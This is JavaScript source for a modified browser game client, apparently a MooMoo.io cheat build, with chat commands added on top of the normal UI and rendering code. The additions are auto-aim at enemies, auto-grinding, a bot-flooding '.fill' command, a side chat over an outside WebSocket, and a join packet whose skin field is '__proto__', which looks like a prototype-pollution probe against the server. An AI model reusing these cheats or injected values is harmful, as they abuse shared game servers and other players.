function ko(t) {
ee.send("Q", t);
}
function vo(t) {
ee.send("b", Oe[t].sid);
}
function Yn() {
ee.send("L", document.getElementById("allianceInput").value);
}
function xo() {
(Pt = []), gs(), ee.send("N");
}
let pi, Ht, je;
const bt = [];
let Je;
class DeadPlayer {
constructor(t, n, i, o, a, r, s, l, c, d) {
(this.x = t),
(this.y = n),
(this.lastDir = i),
(this.dir = i + Math.PI),
(this.buildIndex = o),
(this.weaponIndex = a),
(this.weaponVariant = r),
(this.skinColor = s),
(this.scale = l),
(this.visScale = 0),
(this.name = c),
(this.alpha = 1),
(this.active = !0),
(this.deathDir = d),
(this.animate = function (t) {
let n = C.getAngleDist(this.lastDir, this.dir);
n > 0.01 ? (this.dir += n / 20) : (this.dir = this.lastDir),
this.visScale < this.scale &&
((this.visScale += t / (this.scale / 2)),
this.visScale >= this.scale && (this.visScale = this.scale)),
(this.alpha -= t / 3e3),
this.alpha <= 0 && ((this.alpha = 0), (this.active = !1));
});
}
}
function addDeadPlayer(t) {
deadPlayers.push(
new DeadPlayer(
t.x,
t.y,
t.dir,
t.buildIndex,
t.weaponIndex,
t.weaponVariant,
t.skinColor,
t.scale,
t.name,
t.deathDir
)
);
}
function sf() {
(this.init = function (t, n) {
(this.scale = 0), (this.x = t), (this.y = n), (this.active = !0);
}),
(this.update = function (t, n) {
this.active &&
((this.scale += 0.05 * n),
this.scale >= T.mapPingScale
? (this.active = !1)
: ((t.globalAlpha = 1 - Math.max(0, this.scale / T.mapPingScale)),
t.beginPath(),
t.arc(
(this.x / T.mapScale) * me.width,
(this.y / T.mapScale) * me.width,
this.scale,
0,
2 * Math.PI
),
t.stroke()));
});
}
function rf(t, n) {
for (let i = 0; i < bt.length; ++i)
if (!bt[i].active) {
Je = bt[i];
break;
}
Je || ((Je = new sf()), bt.push(Je)), Je.init(t, n);
}
function of() {
je || (je = {}), (je.x = E.x), (je.y = E.y);
}
function af(t) {
Ht = t;
}
function lf(t) {
if (E && E.alive) {
ce.clearRect(0, 0, me.width, me.height),
(ce.strokeStyle = "#fff"),
(ce.lineWidth = 4);
for (var n = 0; n < bt.length; ++n) (Je = bt[n]).update(ce, t);
if (
((ce.globalAlpha = 1),
(ce.fillStyle = "#fff"),
Q(
(E.x / T.mapScale) * me.width,
(E.y / T.mapScale) * me.height,
7,
ce,
!0
),
(ce.fillStyle = "rgba(255,255,255,0.35)"),
E.team && Ht)
)
for (var n = 0; n < Ht.length; )
Q(
(Ht[n] / T.mapScale) * me.width,
(Ht[n + 1] / T.mapScale) * me.height,
7,
ce,
!0
),
(n += 2);
pi &&
((ce.fillStyle = "#fc5553"),
(ce.font = "34px Hammersmith One"),
(ce.textBaseline = "middle"),
(ce.textAlign = "center"),
ce.fillText(
"x",
(pi.x / T.mapScale) * me.width,
(pi.y / T.mapScale) * me.height
)),
je &&
((ce.fillStyle = "#fff"),
(ce.font = "34px Hammersmith One"),
(ce.textBaseline = "middle"),
(ce.textAlign = "center"),
ce.fillText(
"x",
(je.x / T.mapScale) * me.width,
(je.y / T.mapScale) * me.height
));
}
}
let $n = 0;
function cf(t) {
$n != t && (($n = t), ys());
}
function hf() {
"block" != We.style.display
? ((We.style.display = "block"), (Te.style.display = "none"), Ri(), ys())
: Kn();
}
function Kn() {
"block" == We.style.display && ((We.style.display = "none"), Se());
}
function ff(t, n, i) {
i
? t
? (E.tailIndex = n)
: (E.tails[n] = 1)
: t
? (E.skinIndex = n)
: (E.skins[n] = 1),
"block" == We.style.display && ys();
}
function ys() {
if (E) {
C.removeAllChildren(wr);
let t = $n,
n = t ? Gt : Xt;
for (let i = 0; i < n.length; ++i)
n[i].dontSell ||
(function (i) {
let o = C.generateElement({
id: "storeDisplay" + i,
class: "storeItem",
onmouseout: function () {
Se();
},
onmouseover: function () {
Se(n[i], !1, !0);
},
parent: wr,
});
C.hookTouchEvents(o, !0),
C.generateElement({
tag: "img",
class: "hatPreview",
src:
"./img/" +
(t ? "accessories/access_" : "hats/hat_") +
n[i].id +
(n[i].topSprite ? "_p" : "") +
".png",
parent: o,
}),
C.generateElement({
tag: "span",
text: n[i].name,
parent: o,
}),
(t ? E.tails[n[i].id] : E.skins[n[i].id])
? (t ? E.tailIndex : E.skinIndex) == n[i].id
? C.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function () {
Jn(0, t);
},
hookTouch: !0,
parent: o,
})
: C.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function () {
Jn(n[i].id, t);
},
hookTouch: !0,
parent: o,
})
: (C.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function () {
bo(n[i].id, t);
},
hookTouch: !0,
parent: o,
}),
C.generateElement({
tag: "span",
class: "itemPrice",
text: n[i].price,
parent: o,
}));
})(i);
}
}
function Jn(t, n) {
if (0 == n) {
if (E.skins[t]) E.skinIndex != t && ee.send("c", 0, t, n);
else {
let i = Bc.find((n) => n.id == t);
i ? E.points >= i.price && ee.send("c", 1, t, n) : ee.send("c", 0, t, n);
}
} else if (1 == n) {
if (E.tails[t]) E.tailIndex != t && ee.send("c", 0, t, n);
else {
let o = zc.find((n) => n.id == t);
o ? E.points >= o.price && ee.send("c", 1, t, n) : ee.send("c", 0, t, n);
}
}
}
function bo(t, n) {
ee.send("c", 1, t, n);
}
function So() {
(We.style.display = "none"), (Te.style.display = "none"), Ri();
}
function uf() {
let t = Nt("native_resolution");
Sn(t ? "true" == t : "u" > typeof cordova),
($e = "true" == Nt("show_ping")),
(Qt.hidden = !$e || !Jt),
Nt("moo_moosic"),
setInterval(function () {
window.cordova &&
(document
.getElementById("downloadButtonContainer")
.classList.add("cordova"),
document
.getElementById("mobileDownloadButtonContainer")
.classList.add("cordova"));
}, 1e3),
Io(),
C.removeAllChildren(pr);
for (var n, i = 0; i < R.weapons.length + R.list.length; ++i)
(n = i),
C.generateElement({
id: "actionBarItem" + n,
class: "actionBarItem",
style: "display:none",
onmouseout: function () {
Se();
},
parent: pr,
});
for (var i = 0; i < R.list.length + R.weapons.length; ++i)
!(function (t) {
let n = document.createElement("canvas");
n.width = n.height = 66;
let i = n.getContext("2d");
if (
(i.translate(n.width / 2, n.height / 2),
(i.imageSmoothingEnabled = !1),
(i.webkitImageSmoothingEnabled = !1),
(i.mozImageSmoothingEnabled = !1),
R.weapons[t])
) {
i.rotate(Math.PI / 4 - Math.PI);
var o = new Image();
(jn[R.weapons[t].src] = o),
(o.onload = function () {
this.isLoaded = !0;
let o = 1 / (this.height / this.width),
a = R.weapons[t].iPad || 1;
i.drawImage(
this,
-(n.width * a * T.iconPad * o) / 2,
-(n.height * a * T.iconPad) / 2,
n.width * a * o * T.iconPad,
n.height * a * T.iconPad
),
(i.fillStyle = "rgba(0, 0, 70, 0.1)"),
(i.globalCompositeOperation = "source-atop"),
i.fillRect(-n.width / 2, -n.height / 2, n.width, n.height),
(document.getElementById(
"actionBarItem" + t
).style.backgroundImage = "url(" + n.toDataURL() + ")");
}),
(o.src = "./img/weapons/" + R.weapons[t].src + ".png");
var a = document.getElementById("actionBarItem" + t);
(a.onmouseover = C.checkTrusted(function () {
Se(R.weapons[t], !0);
})),
(a.onclick = C.checkTrusted(function () {
Yt(t, !0);
})),
C.hookTouchEvents(a);
} else {
var o = Ss(R.list[t - R.weapons.length], !0);
let r = Math.min(n.width - T.iconPadding, o.width);
(i.globalAlpha = 1),
i.drawImage(o, -r / 2, -r / 2, r, r),
(i.fillStyle = "rgba(0, 0, 70, 0.1)"),
(i.globalCompositeOperation = "source-atop"),
i.fillRect(-r / 2, -r / 2, r, r),
(document.getElementById("actionBarItem" + t).style.backgroundImage =
"url(" + n.toDataURL() + ")");
var a = document.getElementById("actionBarItem" + t);
(a.onmouseover = C.checkTrusted(function () {
Se(R.list[t - R.weapons.length]);
})),
(a.onclick = C.checkTrusted(function () {
Yt(t - R.weapons.length);
})),
C.hookTouchEvents(a);
}
})(i);
(jt.onchange = (t) => {
t.target.value = (t.target.value || "").slice(0, 15);
}),
(jt.onkeypress = (t) => {
if ("Enter" === t.key) return t.preventDefault(), Un.onclick(t), !1;
}),
(Nn.checked = uo),
(Nn.onchange = C.checkTrusted(function (t) {
Sn(t.target.checked);
})),
(xn.checked = $e),
(xn.onchange = C.checkTrusted(function (t) {
($e = xn.checked),
(Qt.hidden = !$e),
Di("show_ping", $e ? "true" : "false");
}));
}
function To(t, n) {
t && (n ? (E.weapons = t) : (E.items = t)),
n && ((E.primaryWeapon = n[0]), (E.secondaryWeapon = n[1]));
for (var i = 0; i < R.list.length; ++i) {
let o = R.weapons.length + i;
document.getElementById("actionBarItem" + o).style.display =
E.items.indexOf(R.list[i].id) >= 0 ? "inline-block" : "none";
}
for (var i = 0; i < R.weapons.length; ++i)
document.getElementById("actionBarItem" + i).style.display =
E.weapons[R.weapons[i].type] == R.weapons[i].id ? "inline-block" : "none";
}
function Sn(t) {
(uo = t),
(mt = (t && window.devicePixelRatio) || 1),
(Nn.checked = t),
Di("native_resolution", t.toString()),
ws();
}
function df() {
ii ? qt.classList.add("touch") : qt.classList.remove("touch");
}
function pf() {
qt.classList.contains("showing")
? (qt.classList.remove("showing"), (cr.innerText = "Settings"))
: (qt.classList.add("showing"), (cr.innerText = "Close"));
}
function Io() {
let t = "";
for (let n = 0; n < T.skinColors.length; ++n)
n == fs
? (t +=
"<div class='skinColorItem activeSkin' style='background-color:" +
T.skinColors[n] +
"' onclick='selectSkinColor(" +
n +
")'></div>")
: (t +=
"<div class='skinColorItem' style='background-color:" +
T.skinColors[n] +
"' onclick='selectSkinColor(" +
n +
")'></div>");
Nh.innerHTML = t;
}
function mf(t) {
(fs = t), Io();
}
const Ft = document.getElementById("chatBox"),
Si = document.getElementById("chatHolder");
function Mo() {
"block" === Si.style.display && (Ft.value && vr(Ft.value), Ri()),
(Ft.value = "");
}
function MoMo() {
(We.style.display = "none"),
(Te.style.display = "none"),
(Si.style.display = "block"),
Ft.focus(),
xs();
}
let gla = !0,
popo = !1,
rgbagamec = "rgba(15, 7, 72, 0.5)",
autoG = {
toggle: !1,
toVar: 4,
weapon: null,
};
function vr(t) {
if (t.startsWith(".")) {
let n = t.split(".")[1];
if (n.startsWith("clan")) {
let i = t.split(".clan ")[1].slice(0, 7);
i &&
(ee.send("L", i),
addMenuChText("made new clan " + i, "pink", "", "red", !0),
teamz.push(i));
} else if (n.startsWith("leave"))
ee.send("N"), addMenuChText("left clan", "pink", "", "red", !0);
else if (n.startsWith("chatfill")) popo = !popo;
else if (n.startsWith("target")) {
let o = t.split(".target ")[1];
o &&
Number(o) &&
addMenuChText("bot target set to " + o, "pink", "", "red", !0);
} else if (n.startsWith("rad")) {
let a = t.split(".rad ")[1];
a &&
Number(a) &&
addMenuChText("bot radius set to " + a, "pink", "", "red", !0);
} else if (n.startsWith("fill"))
addMenuChText("botting server", "pink", "", "red", !0), fillServer();
else if (n.startsWith("clear")) resetMenuChText();
else if (n.startsWith("accept")) {
let r = t.split(".accept ")[1];
r &&
Number(r) &&
(addMenuChText(
"accepted " + _i(r) + " into clan",
"pink",
"",
"red",
!0
),
ee.send("P", r, 1));
} else if (n.startsWith("record")) toggleRecording();
else if (n.startsWith("autogrind")) {
let s = t.split(".autogrind ")[1];
s.startsWith("gold") || "g" == s || "1" == s
? (ee.send("K", 1),
addMenuChText("autogrinding to gold", "pink", "", "red", !0),
place(5, 0 - Math.PI / 4),
place(5, 0 + Math.PI / 4),
(autoG = {
toggle: !0,
toVar: 1,
weapon:
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon,
}))
: s.startsWith("diamond") || "d" == s || "2" == s
? (addMenuChText("autogrinding to diamond", "pink", "", "red", !0),
ee.send("K", 1),
place(5, 0 - Math.PI / 4),
place(5, 0 + Math.PI / 4),
(autoG = {
toggle: !0,
toVar: 2,
weapon:
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon,
}))
: s.startsWith("ruby") || "r" == s || "3" == s
? (addMenuChText("autogrinding to ruby", "pink", "", "red", !0),
ee.send("K", 1),
place(5, 0 - Math.PI / 4),
place(5, 0 + Math.PI / 4),
(autoG = {
toggle: !0,
toVar: 3,
weapon:
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon,
}))
: addMenuChText("unknown variant type", "pink", "", "red", !0);
} else
n.startsWith("reconnect")
? (socket = new WebSocket(
"wss://kta-communication-network-hub.glitch.me"
))
: n.startsWith("help")
? addMenuChText(
"clan [name]<br>leave<br>fill<br>target [sid]<br>rad [distance]<br>clear<br>record<br>toggle<br>chatfill<br>reconnect",
"pink",
"",
"red",
!0
)
: n.startsWith("toggle") &&
((gla = !gla)
? ((document.getElementById("menuChatDiv").style.boxShadow =
"0px 0px 20px rgba(0, 0, 0, 0)"),
(document.getElementById("mChDiv").style.backgroundColor =
"rgba(0, 0, 0, 0.4)"),
(document.getElementById("mChBox").style.backgroundColor =
"rgba(0, 0, 0, 0.2)"),
addMenuChText(
"toggled style to glass mode",
"pink",
"",
"red",
!0
),
(rgbagamec = "rgba(0, 0, 55, 0.55)"))
: ((document.getElementById("menuChatDiv").style.boxShadow =
"0px 0px 20px rgba(0, 0, 0, 0.8)"),
(document.getElementById("mChDiv").style.backgroundColor =
"rgba(0, 0, 0, 0.65)"),
(document.getElementById("mChBox").style.backgroundColor =
"rgba(255, 255, 255, 0.1)"),
addMenuChText(
"toggled style to dark mode",
"pink",
"",
"red",
!0
),
(rgbagamec = "rgba(10, 5, 70, 0.7)")));
} else if (isEnabled)
document.getElementById("capital").checked
? ee.send("6", t.slice(0, 30).charAt(0).toUpperCase() + t.slice(1))
: ee.send("6", t.slice(0, 30));
else {
let l = [E.sid + "", E.name + "", t + ""];
socket.send(JSON.stringify(l)),
addMenuChText(
t,
"#fff",
"[PRIVATE] " + E.name + "[" + E.sid + "]:",
"#e66532"
),
(E.privateChatMessage = t),
(E.privateChatCountdown = T.chatCountdown);
}
}
const inputBox = document.getElementById("chatBox"),
suggestionsContainer = document.createElement("div");
function renderSuggestions(t) {
(suggestionsContainer.innerHTML = ""),
t.length > 0
? (t.forEach((t) => {
let n = document.createElement("div");
(n.textContent = t),
n.classList.add("suggestion-item"),
n.addEventListener("click", function () {
(inputBox.value = t), clearSuggestions();
}),
suggestionsContainer.insertBefore(
n,
suggestionsContainer.firstChild
);
}),
(suggestionsContainer.style.display = "block"))
: clearSuggestions();
}
function clearSuggestions() {
(suggestionsContainer.innerHTML = ""),
(suggestionsContainer.style.display = "none");
}
suggestionsContainer.setAttribute("id", "suggestions"),
suggestionsContainer.classList.add("suggestions"),
document.getElementById("chatHolder").appendChild(suggestionsContainer),
inputBox.addEventListener("input", function () {
let t = this.value.toLowerCase();
if (t.startsWith(".")) {
let n = [
"clan",
"leave",
"fill",
"target",
"rad",
"clear",
"record",
"toggle",
"chatfill",
"reconnect",
].filter((n) => n.toLowerCase().startsWith(t.substring(1)));
renderSuggestions(n);
} else clearSuggestions();
}),
document.addEventListener("click", function (t) {
inputBox.contains(t.target) ||
t.target === suggestionsContainer ||
clearSuggestions();
});
const style = document.createElement("style");
function Ri() {
(Ft.value = ""), (Si.style.display = "none");
}
// addMenuChText(
// n,
// "#fff",
// i.name + "[" + i.sid + "]:",
// i == E || (i.team && i.team == E.team) ? "#00aaee" : "#fff"
// )
function gf(t, n) {
let i = _i(t);
i &&
((i.chatMessage = n),
(i.chatCountdown = T.chatCountdown)),
i != E &&
(n.toLowerCase().includes("pashka")
? ee.send("6", "pashka is a skid")
: n.toLowerCase().includes("ferris") && ee.send("6", ""));
}
function ws() {
(gt = window.innerWidth), (yt = window.innerHeight);
let t = Math.max(gt / se, yt / re) * mt;
(xt.width = gt * mt),
(xt.height = yt * mt),
(xt.style.width = gt + "px"),
(xt.style.height = yt + "px"),
M.setTransform(t, 0, 0, t, (gt * mt - se * t) / 2, (yt * mt - re * t) / 2);
}
(style.textContent = `
.suggestions {
border: none;
background-color: rgba(0, 0, 0, 0.5);
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
max-height: 400px;
overflow-y: auto;
position: absolute;
width: 250px; /* Adjusted width */
border-radius: 5px;
bottom: calc(100% + 5px); /* Changed top to bottom */
left: 50%; /* Center horizontally */
transform: translateX(-50%); /* Center horizontally */
font: 24px Ubuntu;
color: white; /* Changed from font-color to color */
font-weight: bold;
}
.suggestion-item {
padding: 8px;
cursor: pointer;
}
.suggestion-item:hover {
background-color: #f0f0f0;
}
`),
document.head.appendChild(style),
window.addEventListener("resize", C.checkTrusted(ws)),
ws();
let ii;
function tt(t) {
(ii = t), df();
}
tt(!1), (window.setUsingTouch = tt);
let yf = document.getElementById("leaderboardButton"),
Eo = document.getElementById("leaderboard");
yf.addEventListener("touchstart", () => {
Eo.classList.add("is-showing");
});
const ks = () => {
Eo.classList.remove("is-showing");
};
document.body.addEventListener("touchend", ks),
document.body.addEventListener("touchleave", ks),
document.body.addEventListener("touchcancel", ks);
let tankBreak = !1;
if (!ho) {
let t = function (t) {
t.preventDefault(),
t.stopPropagation(),
tt(!1),
(go = t.clientX),
(yo = t.clientY);
},
n = function (t) {
tt(!1), 1 != Ee && ((Ee = 1), it()), 0 == t.button && (tankBreak = !0);
},
i = function (t) {
tt(!1), 0 != Ee && ((Ee = 0), it()), 0 == t.button && (tankBreak = !1);
};
var o = t,
a = n,
r = i;
let s = document.getElementById("touch-controls-fullscreen");
(s.style.display = "block"),
s.addEventListener("mousemove", t, !1),
s.addEventListener("mousedown", n, !1),
s.addEventListener("mouseup", i, !1);
}
let Qn = !1,
Po;
function wf() {
let t = 0,
n = 0,
i;
if (ii) {
if (!Qn) return;
i = Po;
}
for (let o in Ii) {
let a = Ii[o];
(t += !!He[o] * a[0]), (n += !!He[o] * a[1]);
}
if (((0 != t || 0 != n) && (i = Math.atan2(n, t)), void 0 !== i))
return C.fixTo(i, 2);
}
let Ti;
function vs() {
if (E) {
if (autohitting && 0 == E.reloads[E.primaryWeapon])
return caf(enemy, E) - Math.PI;
if (
E.inTrap &&
0 ==
E.reloads[10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon]
)
return caf(E.inTrap, E) - Math.PI;
if (
E.obj &&
0 ==
E.reloads[10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon]
)
return caf(E.obj, E) - Math.PI;
else if (autoG.toggle) return 0;
else if (E && E.alive && !E.lockDir && !ii)
return (
(Ti = Math.atan2(yo - yt / 2, go - gt / 2)), C.fixTo(Ti || 0, 2), Ti
);
else return 0;
}
}
var He = {},
Ii = {
87: [0, -1],
38: [0, -1],
83: [0, 1],
40: [0, 1],
65: [-1, 0],
37: [-1, 0],
68: [1, 0],
39: [1, 0],
};
function xs() {
(He = {}), ee.send("e");
}
function Co() {
return "block" != Te.style.display && "block" != Si.style.display;
}
function kf(t) {
let n = t.which || t.keyCode || 0;
27 == n
? So()
: E &&
E.alive &&
Co() &&
(He[n] ||
((He[n] = 1),
69 == n
? bf()
: 67 == n
? of()
: 70 == n
? ((placer.itemIndex = 4), (placer.toggle = !0))
: 86 == n
? ((placer.itemIndex = 2), (placer.toggle = !0))
: 222 == n
? (freeCam.doMove = !freeCam.doMove)
: 72 == n
? ((placer.itemIndex = 5), (placer.toggle = !0))
: 90 == n
? (millData.toggle = !millData.toggle)
: 82 == n
? (inztakillData.toggle = !inztakillData.toggle)
: 88 == n
? xf()
: null != E.weapons[n - 49]
? Yt(E.weapons[n - 49], !0)
: null != E.items[n - 49 - E.weapons.length]
? Yt(E.items[n - 49 - E.weapons.length])
: 81 == n
? Yt(E.items[0])
: 82 == n
? Ao()
: Ii[n]
? Mi()
: 32 == n && ((Ee = 1), it())));
}
function vf(t) {
if (E && E.alive) {
let n = t.which || t.keyCode || 0;
if (([70, 86, 72].includes(n) && (placer.toggle = !1), 13 == n)) Mo();
else if (191 == n) {
if ("block" === Te.style.display) return;
MoMo();
} else
Co() &&
He[n] &&
((He[n] = 0), Ii[n] ? Mi() : 32 == n && ((Ee = 0), it()));
}
}
function it() {
E &&
E.alive &&
(-1 == E.buildIndex
? ee.send("K", 1)
: ee.send("d", Ee, E.buildIndex >= 0 ? vs() : null));
}
window.addEventListener("keydown", C.checkTrusted(kf)),
window.addEventListener("keyup", C.checkTrusted(vf));
let Tn;
function Mi() {
let t = wf();
(null == Tn || null == t || (Math.abs(t - Tn) > 0.3 && !autopuzhing)) &&
(ee.send("a", t), (Tn = t));
}
function xf() {
(E.lockDir = E.lockDir ? 0 : 1), ee.send("K", 0);
}
function Ao() {
ee.send("S", 1);
}
function bf() {
ee.send("K", 1);
}
function Yt(t, n) {
ee.send("G", t, n);
}
function bs() {
(Qt.hidden = !$e),
(window.onbeforeunload = function (t) {
return "Are you sure?";
}),
window.FRVR && window.FRVR.tracker.levelStart("game_start"),
Di("moo_name", jt.value),
!Jt && cs() && (Jt = !0),
_h.stop("menu"),
ms("Loading..."),
(document.getElementById("menuChatDiv").style.opacity = "1"),
(document.getElementById("menuChatDiv").style.visibility = "visible"),
(document.getElementById("allah").style.opacity = "1"),
(document.getElementById("allah").style.visibility = "visible"),
ee.send("M", {
name: jt.value,
moofoll: xi,
skin: "__proto__",
}),
Sf();
}
function Sf() {
var t = document.getElementById("ot-sdk-btn-floating");
t && (t.style.display = "none");
}
function Tf() {
var t = document.getElementById("ot-sdk-btn-floating");
t && (t.style.display = "block");
}
window.io = ee;
let Ei = !0,
In = !1;
function If(t) {
(Et.style.display = "none"),
(Zt.style.display = "block"),
(Oi.style.display = "none"),
(He = {}),
(mo = t),
(Ee = 0),
(Jt = !0),
Ei && ((Ei = !1), (et.length = 0)),
ho &&
Mh.enable({
onStartMoving() {
Kn(), Xn(), tt(!0), (Qn = !0);
},
onStopMoving() {
(Qn = !1), Mi();
},
onRotateMoving(t, n) {
n.force < 0.25 ||
((Po = -n.angle.radian), Mi(), In || (Ti = -n.angle.radian));
},
onStartAttacking() {
Kn(), Xn(), tt(!0), (In = !0), E.buildIndex < 0 && ((Ee = 1), it());
},
onStopAttacking() {
E.buildIndex >= 0 && ((Ee = 1), it()), (Ee = 0), it(), (In = !1);
},
onRotateAttacking(t, n) {
n.force < 0.25 || (Ti = -n.angle.radian);
},
});
}
function Mf(t, n, i, o) {}
let mi = 99999;
function Ef() {
(Jt = !1), Tf();
try {
factorem.refreshAds([2], !0);
} catch {}
(us.style.display = "none"),
So(),
(pi = {
x: E.x,
y: E.y,
}),
(Et.style.display = "none"),
(Wt.style.display = "none"),
(Wt.style.fontSize = "0px"),
(mi = 0),
setTimeout(function () {
(Zt.style.display = "block"),
(Oi.style.display = "block"),
(Wt.style.display = "none");
}, T.deathFadeout),
wo();
}
function Pf(t) {
E && ue.removeAllItems(t);
}
function Do() {
(Hh.innerText = E.points),
(Fh.innerText = E.food),
(Vh.innerText = E.wood),
(Uh.innerText = E.stone),
(Lh.innerText = E.kills);
}
const Vt = {},
Mn = ["crown", "skull", "inztaTarget"];
function Af() {
for (let t = 0; t < Mn.length; ++t)
if ((console.log(Mn[t]), "inztaTarget" == Mn[t])) {
var n = new Image();
(n.onload = function () {
this.isLoaded = !0;
}),
(n.src =
"https://media.discordapp.net/attachments/1211002149857656993/1223671634989289632/84346830-the-arrows-pointing-to-the-center-of-the-circle-vector-illustration-removebg-preview.png?ex=661ab404&is=66083f04&hm=370cf3894225b31bd440e528f301b4ae68a660ee78251db8cddffe4d03c0ab51&=&format=webp&quality=lossless&width=510&height=510"),
(Vt[Mn[t]] = n);
} else {
var n = new Image();
(n.onload = function () {
this.isLoaded = !0;
}),
(n.src = "./img/icons/" + Mn[t] + ".png"),
(Vt[Mn[t]] = n);
}
}
const ut = [];
function Oo(t, n) {
if (((E.upgradePoints = t), (E.upgrAge = n), t > 0)) {
(ut.length = 0), C.removeAllChildren(ht);
for (var i = 0; i < R.weapons.length; ++i)
if (
R.weapons[i].age == n &&
(null == R.weapons[i].pre || E.weapons.indexOf(R.weapons[i].pre) >= 0)
) {
var o = C.generateElement({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function () {
Se();
},
parent: ht,
});
(o.style.backgroundImage = document.getElementById(
"actionBarItem" + i
).style.backgroundImage),
ut.push(i);
}
for (var i = 0; i < R.list.length; ++i)
if (
R.list[i].age == n &&
(null == R.list[i].pre || E.items.indexOf(R.list[i].pre) >= 0)
) {
let a = R.weapons.length + i;
var o = C.generateElement({
id: "upgradeItem" + a,
class: "actionBarItem",
onmouseout: function () {
Se();
},
parent: ht,
});
(o.style.backgroundImage = document.getElementById(
"actionBarItem" + a
).style.backgroundImage),
ut.push(a);
}
for (var i = 0; i < ut.length; i++)
!(function (t) {
let n = document.getElementById("upgradeItem" + t);
(n.onmouseover = function () {
R.weapons[t]
? Se(R.weapons[t], !0)
: Se(R.list[t - R.weapons.length]);
}),
(n.onclick = C.checkTrusted(function () {
ee.send("H", t);
})),
C.hookTouchEvents(n);
})(ut[i]);
ut.length
? ((ht.style.display = "block"),
(ri.style.display = "block"),
(ri.innerHTML = "SELECT ITEMS (" + t + ")"))
: ((ht.style.display = "none"), (ri.style.display = "none"), Se());
} else (ht.style.display = "none"), (ri.style.display = "none"), Se();
}
function Ro(t, n, i) {
null != t && (E.XP = t),
null != n && (E.maxXP = n),
null != i && (E.age = i),
i == T.maxAge
? ((gr.innerHTML = "MAX AGE"), (yr.style.width = "100%"))
: ((gr.innerHTML = "AGE " + E.age),
(yr.style.width = (E.XP / E.maxXP) * 100 + "%"));
}
function Df(t) {
C.removeAllChildren(mr);
let n = 1;
for (let i = 0; i < t.length; i += 3) {
var o;
(o = i),
C.generateElement({
class: "leaderHolder",
parent: mr,
children: [
C.generateElement({
class: "leaderboardItem",
style:
"font-size: 16px; color:" +
(t[o] == mo ? "rgba(255,255,255,1)" : "rgba(255,255,255,0.5)"),
text: "" != t[o + 1] ? t[o + 1] : "Unknown",
}),
C.generateElement({
class: "KTAMODOP2024FRNOCAPGGEZ",
text: " " + C.kFormat(t[o + 2]),
style:
"font-size: 16px; color:" +
(t[o] == mo ? "rgba(255,255,255,1)" : "rgba(255,255,255,0.5)"),
}),
],
}),
n++;
}
}
let xr = null;
var freeCam = {
doMove: !1,
x: !1,
y: !1,
dir: void 0,
};
let loookjoni = !1,
started = !1;
function Of() {
M.isContextLost() &&
!loookjoni &&
(alert("Game has crashed. Error Info: 2D Rendering Context Lost"),
(loookjoni = !0),
(window.onbeforeunload = () => {}),
window.location.reload());
{
if (E && (!yn || It - yn >= 1e3 / T.clientSendRate)) {
yn = It;
let t = vs();
xr !== t && ((xr = t), ee.send("D", t));
}
if (
(mi < 120 &&
((mi += 0.1 * be),
(Wt.style.fontSize = Math.min(Math.round(mi), 120) + "px")),
E)
) {
let n = C.getDistance(Re, _e, E.x, E.y),
i = C.getDirection(E.x, E.y, Re, _e),
o = Math.min(0.0045 * n * be, n);
if (freeCam.doMove)
void 0 !== freeCam.dir &&
((Re += 20 * Math.cos(freeCam.dir)),
(_e += 20 * Math.sin(freeCam.dir)));
else if (n > 0.05) {
let a = Re + o * Math.cos(i),
r = _e + o * Math.sin(i);
(Re = Math.max(
T.maxScreenWidth / 2,
Math.min(14400 - T.maxScreenWidth / 2, a)
)),
(_e = Math.max(
T.maxScreenHeight / 2,
Math.min(14400 - T.maxScreenHeight / 2, r)
));
} else (Re = E.x), (_e = E.y);
} else (Re = T.mapScale / 2), (_e = T.mapScale / 2);
let s = It - 1e3 / T.serverUpdateRate;
for (var l, c = 0; c < J.length + ye.length; ++c)
if ((y = J[c] || ye[c - J.length]) && y.visible) {
if (y.forcePos) (y.x = y.x2), (y.y = y.y2), (y.dir = y.d2);
else {
let d = y.t2 - y.t1,
h = (s - y.t1) / d;
y.dt += be;
let u = Math.min(1.7, y.dt / 170);
var l = y.x2 - y.x1;
(y.x = y.x1 + l * u),
(y.rt = Math.min(1, y.dt / (1e3 / 9))),
(l = y.y2 - y.y1),
(y.y = y.y1 + l * u),
(y.dir = Math.lerpAngle(y.d2, y.d1, Math.min(1.2, h)));
}
}
let p = Re - se / 2,
f = _e - re / 2;
T.snowBiomeTop - f <= 0 && T.mapScale - T.snowBiomeTop - f >= re
? ((M.fillStyle = "#b6db66"), M.fillRect(0, 0, se, re))
: T.mapScale - T.snowBiomeTop - f <= 0
? ((M.fillStyle = "#dbc666"), M.fillRect(0, 0, se, re))
: T.snowBiomeTop - f >= re
? ((M.fillStyle = "#fff"), M.fillRect(0, 0, se, re))
: T.snowBiomeTop - f >= 0
? ((M.fillStyle = "#fff"),
M.fillRect(0, 0, se, T.snowBiomeTop - f),
(M.fillStyle = "#b6db66"),
M.fillRect(0, T.snowBiomeTop - f, se, re - (T.snowBiomeTop - f)))
: ((M.fillStyle = "#b6db66"),
M.fillRect(0, 0, se, T.mapScale - T.snowBiomeTop - f),
(M.fillStyle = "#dbc666"),
M.fillRect(
0,
T.mapScale - T.snowBiomeTop - f,
se,
re - (T.mapScale - T.snowBiomeTop - f)
)),
Ei ||
((ct += wn * T.waveSpeed * be) >= T.waveMax
? ((ct = T.waveMax), (wn = -1))
: ct <= 1 && (ct = wn = 1),
(M.globalAlpha = 1),
(M.fillStyle = "#dbc666"),
Tr(p, f, M, 400),
(M.fillStyle = "#91b2db"),
Tr(p, f, M, (ct - 1) * 250)),
(M.lineWidth = 4),
(M.strokeStyle = "#000"),
(M.globalAlpha = 0.05);
let gridWay;
function as(a = document.getElementById("grid").value) {
if(a == "4x4") {
gridWay = 4;
} else if (a == "8x8") {
gridWay = 8;
} else if (a == "16x16") {
gridWay = 16;
} else if (a == "default") {
gridWay = 18;
} else if (a == "32x32") {
gridWay = 32;
} else if (a == "chunk based") {
gridWay = 1;
}
};
